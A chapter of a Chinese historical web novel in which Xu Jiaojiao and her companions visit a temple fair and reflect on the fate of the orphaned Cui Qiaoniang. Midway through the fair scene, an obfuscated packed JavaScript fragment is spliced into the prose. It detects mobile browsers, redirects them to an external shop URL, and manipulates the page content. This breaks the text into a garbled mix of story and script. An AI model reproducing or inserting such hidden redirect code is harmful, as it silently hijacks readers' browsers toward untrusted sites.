外头比前几日暖和了些，太阳虽还没出来，天边却已经透出一层淡淡的金光。静心穿着那件新做的桃红褙子，衬得脸色愈发白净，在院子里转着圈儿给旺财看，嘴里问着“好不好看好不好看”。旺财蹲在窝边，懒洋洋地摇着尾巴，也不知是应和还是敷衍。 静尘端着一盆热水从厨房出来，见许娇娇推门，笑道：“醒了？快洗脸，今儿有庙会，去晚了人多挤不动。” 许娇娇接过帕子，一边擦脸一边问：“庙会在哪儿？” “府学街那边，”静尘道，“从初一开到十五，年年如此。有杂耍的，有卖吃食的，还有卖各种小玩意儿的。静心从初一就念叨着要去，今儿总算开市了。” 静心跑过来，扯着许娇娇的袖子：“娇杏娇杏，咱们快些吃饭，吃了就去。我听刘婶说，今年有从北边来的杂耍班子，能喷火，能吞剑，还能让猴子翻跟头！” 许娇娇被她那急切的模样逗笑了，伸手捏捏她的脸：“急什么，庙会又不会跑。” “万一去晚了，好位置被人占了怎么办？”静心急了，“刘婶说，那杂耍班子一天只演两场，上午一场，下午一场。咱们要是去晚了，只能站在后头，什么都看不见！” 静尘在一旁摇头：“这丫头，从昨儿夜里就开始念叨，我耳朵都快起茧子了。” 许娇娇笑着答应：“好好好，咱们吃了饭就去。” 早饭是静心早起做的，一大锅热气腾腾的八宝粥，配上年前腌的萝卜干和酱黄瓜，还有几个刚出锅的菜包子。三个人围坐在小桌前，就着咸菜喝粥，静心一边吃一边往窗外张望，嘴里念念有词。 静尘夹了个包子放进她碗里：“好好吃饭，看把你急的。” 静心嘻嘻笑了一声，低头啃包子。 吃过饭，收拾停当，三人正准备出门，院门忽然被敲响了。 静尘去开门，进来的是刘寡妇。她穿着一身簇新的酱色袄裙，头发梳得光溜溜的，脸上带着笑，身后跟着她家那个虎头虎脑的小虎子。 “许娘子，静尘师父，静心姑娘，”刘寡妇笑呵呵地道，“你们也要去逛庙会吧？咱们一道走，路上也有个伴。” 静心高兴得直拍手：“太好了！小虎子也去，咱们一块儿热闹！” 虎子躲在刘寡妇身后，偷偷看着静心，脸上带着几分腼腆的笑。一双眼睛又大又亮，很是讨人喜欢。 静心走过去，拉着他的手：“虎子，等会儿姐姐给你买糖人吃。” 虎子眼睛一亮，小声说：“谢谢姐姐。” 一行人出了门。巷子里已经有了人，几个妇人在门口晒太阳说话，见了她们，都笑着打招呼。 路过崔娘子家门口时，许娇娇往那边瞥了一眼。 那两扇门紧紧闭着，门上的封条被风吹得边角翘起，在日光下泛着惨白的光。门口堆积着几片枯叶和一些零碎的杂物，台阶缝里钻出几根青黄的草芽，透着一股人去楼空的萧条。 许娇娇的脚步顿了顿。 自从崔旺死在湖里，崔娘子判了斩监候，翠玉楼的案子听说还有一些细节需要重申，一干重犯年前就押往京城了。至于崔巧娘—— 她暗暗叹了口气。 那姑娘内向胆小，见了人就躲，如今爹娘都没了，也不知那个所谓的“阿叔”待她如何。但愿是个厚道人罢。 “作孽哟。”刘寡妇也望着那扇门，摇了摇头，“这崔家，平日里真看不出来，竟然是杀人犯。如今落得这般田地，也是活该。” 虎子仰着头，懵懂地问：“阿娘，那家人怎么了？” 刘寡妇摸摸他的头：“犯了事，被官府抓走了。往后那屋子就空着了。” 虎子“哦”了一声，也没多问，又低头玩手里的风车去了。 静心在一旁小声问：“刘婶，那崔家的巧娘，听说被人接走了？” 刘寡妇点点头，压低声音凑过来几分：“可不是。来接她们的，是个男子，三十来岁，穿着体面，看着不像寻常人。那巧娘叫他‘阿叔’，想来是亲戚。” 她顿了顿，又道：“我听隔壁巷子的孙婆说，那男子以前常来崔家，和崔旺称兄道弟的。崔旺死后，他还来吊唁过，在灵前磕了头，哭了一场。后来崔娘子被抓，他还托人往牢里送过东西。倒是个有情有义的。” 静尘在一旁轻声问：“是崔家的亲戚？” 刘寡妇摇摇头：“这就不清楚了。崔旺不是本地人，在这边也没什么根基。他那个干爹崔使相，倒是大名鼎鼎，可人家是大人物，哪里会管这种小事。想来是别的什么亲戚吧。” 静尘轻叹一声：“只要那巧娘有人养着，总比流落街头强。” 刘寡妇连连点头：“可不是嘛！那丫头才十三四，要是没人管，这年都过不去。如今有人接走，好歹有个去处。虽说崔家犯了事，可那丫头又没做什么伤天害理的事，不该让她来受这个罪。” 是啊。许娇娇在心里默默应了一句。 大人有罪，孩子无辜。崔娘子该死，崔旺也死得不冤，可巧娘什么都没做。她不过是投错了胎，生在了那样的人家。若因此就要她承受父母造的孽，那这世道，也太不公平了。 静心在一旁眨着眼睛，小声问：“娇杏，你说那个‘阿叔’，会好好待她吗？” 许娇娇沉默片刻，才道：“但愿吧。” 刘寡妇在一旁接话：“我看那男子像个厚道人。再说，他若真想害那丫头，何必大费周章去接她？让她自生自灭就是了。既然肯接，想来不会亏待。” 话说得在理。许娇娇点点头，不再多想。 一行人继续往前走。走出几步，她又回头看了一眼那扇紧闭的门。 门上的封条在风里轻轻晃动，像是无声的叹息。 她收回目光，望着前方渐渐热闹起来的街市，心里那点沉甸甸的东西，慢慢散开了。 巧娘有了去处，茴香也跟着去了。两个半大孩子，总算没有流落街头。 这已经是她能想到的最好的结局了。 “许娘子，”刘寡妇在一旁问，“你们今儿打算逛到什么时候？晌午要不要一起吃饭？我听说街口有家卖馄饨的，味道极好。” 许娇娇回过神，笑道：“好啊，正好饿了。” 静心一听有馄饨吃，眼睛都亮了：“馄饨馄饨！我要吃大碗的！” 虎子也仰着头，眼巴巴地看着刘寡妇：“阿娘，我也想吃馄饨。” 刘寡妇笑着捏捏他的脸：“好好好，都吃都吃。” 一行人说说笑笑，往庙会走去。 越往府学街走，人越多。到了街口，简直是人山人海，摩肩接踵。叫卖声、吆喝声、笑闹声混成一片，震得人耳朵嗡嗡响。空气里弥漫着各种气味，有炒货的香，有炸糕的油，有糖葫芦的甜，还有烤羊肉串的膻，混在一起，竟也不难闻。 静心眼睛都亮了，拉着许娇娇就往里挤：“走，咱们去那边看看！那边有杂耍！” 许娇娇被她拽着，身不由己地往人群里挤。静尘在后面跟着，嘴里叮嘱着“慢些，别挤散了”，却也被人群裹着往前走。刘寡妇牵着虎子，不紧不慢地跟在后面，嘴里念叨着“慢点慢点，别摔着”。 杂耍的场子设在街心的一处空地上，里三层外三层围满了人。静心个子小，踮起脚尖也看不见，急得直跳。许娇娇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17418152|197528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拉着她往前挤，好不容易挤到前面，已经出了一身薄汗。 场中正表演着喷火。 一个光着膀子的壮汉，手里举着一根火把，深吸一口气，对着火把猛地一吹。一股烈焰从他嘴里喷出，足有三尺长，映得周围的人脸都红了。 人群爆发出喝彩声，有人往场中扔铜钱，叮叮当当落了一地。 静心看得目瞪口呆，嘴巴张得老大，半晌才憋出一句：“这……这不会烧着嘴吗？” 旁边一个老汉听见了，哈哈笑道：“小姑娘，这是练出来的功夫，烧不着，烧不着。” 静心将信将疑，眼睛却一眨不眨地盯着场中。 接下来是吞剑。 另一个瘦高的汉子拿出一柄长剑，剑身寒光闪闪，足有两尺长。他仰起头，将剑尖慢慢插入口中，一寸，两寸，三寸……竟真的把整柄剑吞了进去，只留剑柄在外。 人群又是一阵惊呼，静心紧紧攥着许娇娇的手，手指都掐进肉里。虎子也看得呆了，小嘴张得圆圆的，连手里的风车掉了都不知道。 刘寡妇捡起风车，笑骂：“看把你吓得。” 最后上场的是个猴子。 那猴子穿着红褂子，戴着瓜皮小帽，在场上翻跟头、作揖、推小车，一招一式都有模有样，逗得人哈哈大笑。有个孩子往场中扔了颗花生，那猴子捡起来，剥了壳吃了，又冲着那孩子作了个揖，把一众人逗得更乐了。 静心也忘了害怕，笑得前仰后合，学着那猴子的样子，冲许娇娇作了个揖。 许娇娇笑骂：“没规矩。” 虎子也被逗笑了，扯着刘寡妇的袖子：“阿娘阿娘，那猴子好厉害！” 看完杂耍，一行人又去逛了其他摊子。买了糖人、买了风车、买了绢花、买了香囊。静心恨不得把整条街都搬回家去，若不是静尘拦着，她能把兜里的压岁钱都花光。虎子也得了根糖葫芦，吃得满嘴都是糖渍，小脸笑得跟花似的。 日头渐渐升高，快到午时了。许娇娇肚子有些饿，便提议去街口那家馄饨摊。 一行人到了馄饨摊，找了个位置坐下。那摊子虽简陋，馄饨却是一等一的好吃。皮薄馅大，汤鲜味美，一碗下去，整个人都暖了。 虎子吃得头都不抬，小嘴鼓鼓囊囊的，看得刘寡妇直笑：“慢点慢点，没人跟你抢。” 静心也吃得欢，边吃边含糊不清地说：“好吃……真好吃……” 许娇娇夹起一个馄饨，放进嘴里。鲜美的汤汁在舌尖化开，暖意从喉咙一直蔓延到心里。 她忽然想起阿爹医案里的那句话：医者仁心，济世为怀。 仁心不只是对病人，对世间万物，都该有一分悲悯。 巧娘有人养着，她便不必再挂念了。 吃完馄饨，一行人又逛了一会儿，直到日头偏西，才意犹未尽地往回走。 回到柳枝巷时，天色已经暗了下来。刘寡妇牵着虎子回了自家院子，虎子回头冲她们摆手：“姐姐们再见！” 静心也冲他摆手：“虎子再见！” 院门关上，巷子里安静下来。 许娇娇站在院子里，望着渐渐暗下来的天空，长长地舒了一口气。 静尘走到她身边，轻声道：“还在想那个孩子？” 许娇娇摇摇头，又点点头：“想过了。如今不想了。” 静尘看着她，目光里带着几分温柔。 静心从屋里探出头来：“娇杏，师姐，进来吃饭啦！我买了庙会上那个酱肘子，热一热就能吃！” 许娇娇应了一声，转身往屋里走。 走了两步，她又回头看了一眼巷口的方向。 那里空荡荡的，只有暮色沉沉。 她笑了笑，收回目光，走进了那一片温暖的灯光里。 身后，院子里的那株月季还在开着，几朵粉色的花在暮色中轻轻摇曳。旺财趴在窝边，眯着眼睛打盹，偶尔动动耳朵，又继续睡去。 远处，隐约传来几声鞭炮响，是有人在送穷土。 破五过了，年就算过完了。